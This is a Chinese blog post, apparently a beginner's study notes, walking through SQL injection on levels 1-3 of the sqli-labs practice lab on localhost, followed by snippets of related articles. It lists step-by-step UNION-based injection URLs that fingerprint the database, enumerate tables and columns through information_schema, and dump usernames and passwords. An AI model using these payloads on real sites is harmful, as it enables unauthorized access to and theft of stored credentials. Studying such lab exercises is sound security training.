通过sqli-labs学习sql注入——基础挑战之less1-3

首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!!

url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%。具体的编码对应请看w3school上的编码表:http://www.w3school.com.cn/tags/html_ref_urlencode.html

常见的有:空格是%20,单引号是%27, 井号是%23,双引号是%22

判断sql注入(显错和基于错误的盲注):单引号,and 1=1  ,and 1=2,or 1=1 , or 1=2等

判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(8) (函数不同数据库有所不同)sql 注入的基本步骤(这个跟sqlmap的步骤基本一致吧)

三种常见注释符:#  、--+( 后边有空格 )、/**/ 序列

sql注入基本注入步骤
判断是什么类型注入
获取数据库用户,版本,当前连接的数据库等信息
猜解数据库、表的信息
猜解列、字段信息
最后猜解出数据就可以了!!

首先在源码中加入:

echo "your sql statement is ".$sql."<br>";

用来输出你的sql语句,可以更加方便直观的理解此过程。

注:下面的可能有很多种注入方法,仅举例一种。我主要详细记录Less 3 ,less 1和less2方法类似。

less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

首先,设置?d=1进行测试,正常访问,可以成功显示数据:

http://127.0.0.1/sqllibs/Less-3/?id=1

可以看到其查询语句为:SELECT * FROM users WHERE id=(‘1‘)

则加 ‘ 进行判断,结果显示语法错误:

http://127.0.0.1/sqllibs/Less-3/?id=1‘

因为 查询语句变成了:SELECT * FROM users WHERE id=(‘1‘‘),很明显出现了错误。因此,进行闭合 ‘)—+  ,执行结果如下:

http://127.0.0.1/sqllibs/Less-3/?id=1‘)—+

可以正常执行,现在来猜解字段长度,通过order by N(N为字段长度)

http://127.0.0.1/sqllibs/Less-3/?id=1‘)order by 3—+

当 order by 3是,正常返回,说明字段长度N>=3,则猜解4:

http://127.0.0.1/sqllibs/Less-3/?id=1‘)order by 4—+

返回错误,则说明字段长度为3。令左边id=-1,进行union select 语句拼接查询,则:

http://127.0.0.1/sqllibs/Less-3/?id=-1‘) union select 1,2,3--+

返回结果为,2,3,下面就开始真正查询数据库的各种信息了。可以看到只有第2列和第3列的结果显示在网页上,所以就只能用2,3这个位置了。但是两个位置应该是不够用的,这时就需要用到数据库的连接函数了,常用的是concat和concat_ws,其中concat_ws的第一个参数是连接字符串的分隔符。

user():返回当前数据库连接使用的用户

database():返回当前数据库连接使用的数据库

version():返回当前数据库的版本

:的十进制ASCII是58 ,空格的十进制ASCII是32,主要是以:进行分隔。

http://127.0.0.1/sqllibs/Less-3/?id=-1‘) union select 1,2,concat_ws(char(32,58,32),user(),database(),version())—+

可以看到用户名为:[email protected],数据库为:security,数据库版本号为:5.5.53

接下来查询security数据库中有哪些表。首先说一下mysql的数据库information_schema。它是系统数据库,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表。
SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等。
TABLES:储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。
COLUMNS:储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。
通过直接在mysql控制台实验可以看到,查询information_schema中的信息时,使用where语句值不能直接用英文,要用单引号包裹着,当然用十六进制表示也可以。

security编码后为:0x7365637572697479

http://127.0.0.1/sqllibs/Less-3/?id=-1‘) union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479--+

http://127.0.0.1/sqllibs/Less-3/?id=-1‘) union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1--+

http://127.0.0.1/sqllibs/Less-3/?id=-1‘) union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1--+

猜解出users表,进一步猜解

http://127.0.0.1/sqllibs/Less-3/?id=-1‘) union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1—+

猜解出ID字段

http://127.0.0.1/sqllibs/Less-3/?id=-1‘) union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1--+

猜解出username字段

http://127.0.0.1/sqllibs/Less-3/?id=-1‘) union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1—+

猜解出password字段

http://127.0.0.1/sqllibs/Less-3/?id=-1‘) union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 2,1—+

成功查询出数据id:3,username:Dummy,password:[email protected]

原文地址:https://www.cnblogs.com/aq-ry/p/9026599.html

时间: 2024-11-08 22:32:24

通过sqli-labs学习sql注入——基础挑战之less1-3的相关文章

通过sqli-labs学习sql注入——基础挑战之less1

环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行URL编码,因为Http协议中参数的传输是"key=value"这种键值对形式的,所以会将“=”,“#”等字常见的字符进行URL编码.等号的URL编码为%23,空格是%20,单引号是%27, 井号是%23,双引号是%22等,(详情可参考http://www.w3school.com.cn/ta

通过sqli-labs学习sql注入——基础挑战之less1-10

虽然sql注入接触过不少,其实也不太多,但是不系统,那就通过sqli-libs系统学习总结一下吧 注:第一个就说得详细一点,后面的有新知识才会说,所以第一个一定要看!!!如果第一个还有不明白的地方,欢迎评论提问,注意一定自己要先实践. 我的学习的方法是什么呢? 先自己尝试一下注入,实在不行就看源码,再不行就看别人的指导,反正就是要弄懂 开篇先说说一些基础知识,当然一些基本的sql语句就自己去学吧(根据学习进程更新),less1的基础知识也是比较多的!!,学到学不动了再写个总结吧 url编码:一般

通过sqli-labs学习sql注入——进阶挑战之less23-28a

本文链接:http://blog.csdn.net/u012763794/article/details/51457142 这次我又来了,Advanced Injections(进阶挑战),就是一些过滤绕过的东西了,基础挑战看这个两篇 最近搞逆向破解去了,http://www.giantbranch.cn/myblog/?p=27,所以这个拖得太久了,今天完工 通过sqli-labs学习sql注入--基础挑战之less1-10 http://blog.csdn.net/u012763794/ar

Burosuite抓包Sqlmap学习Sql注入

在sqlmap中加入--proyxy参数: --proxy "http://127.0.0.1:8080" 如下图所示: 回车以后sqlmap会自动抓到数据包: 我们选择向前(forward)即可: 可以看到参数ID的后面多了一些URL的编码.可以复制然后去解开看看. 简单学习.嘻嘻.每天进步一点点. THE END Burosuite抓包Sqlmap学习Sql注入

TSRC挑战赛:WAF之SQL注入绕过挑战实录

转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.Mac Team] 应邀参加TSRC WAF防御绕过挑战赛,由于之前曾经和Team小伙伴一起参加过安全宝WAF挑战,而且自己平时接触WAF的机会也比较多,对于WAF绕过的方法还是有一定积累的. 比赛规则就是绕过四台被tencent WAF保护的测试服务器(分别为:apache GET.apache P

sql注入基础

有好多人都只知道有sql注入漏洞这种漏洞,也知道怎么用一些工具来利用漏洞,但是却不知道SQL注入漏洞的原理.为了帮助初学者理解sql注入的原理,我写下了这篇文章,希望能对大家有所帮助. 什么是SQL注入: SQL注入是攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意的SQL命令的一种攻击方式.(数据与代码没有完全分离) Sql注入漏洞产生原理: 上面我们提到SQL注入的产生原因是数据和代码没有完全分离产生的.下面我们来看看SQL注入漏洞具体的产

84)PHP,SQL注入基础讲解

 怎么预防: 填写防止SQL注入的代码:

WEB安全基础之sql注入基础

1.基础sql语句 注释 单行注释# %23--+ --加空格多行注释/**/ SELECT(VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SELECT(@@datadir) 查数据库路径 SELECT(@@version_compile_os) 查系统版本version() 数据库版本load_file() 读文件操作current_user() 当前用户名(可用来查看权限Into outfile() / into dumpfile 写文件

SQL注入测试平台 SQLol -1. 简介与安装

最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. SQLol is now part of the Magical Code Injection Rainbow framework at http://github.com/SpiderLabs/MCIR and the standalone version will no longer be m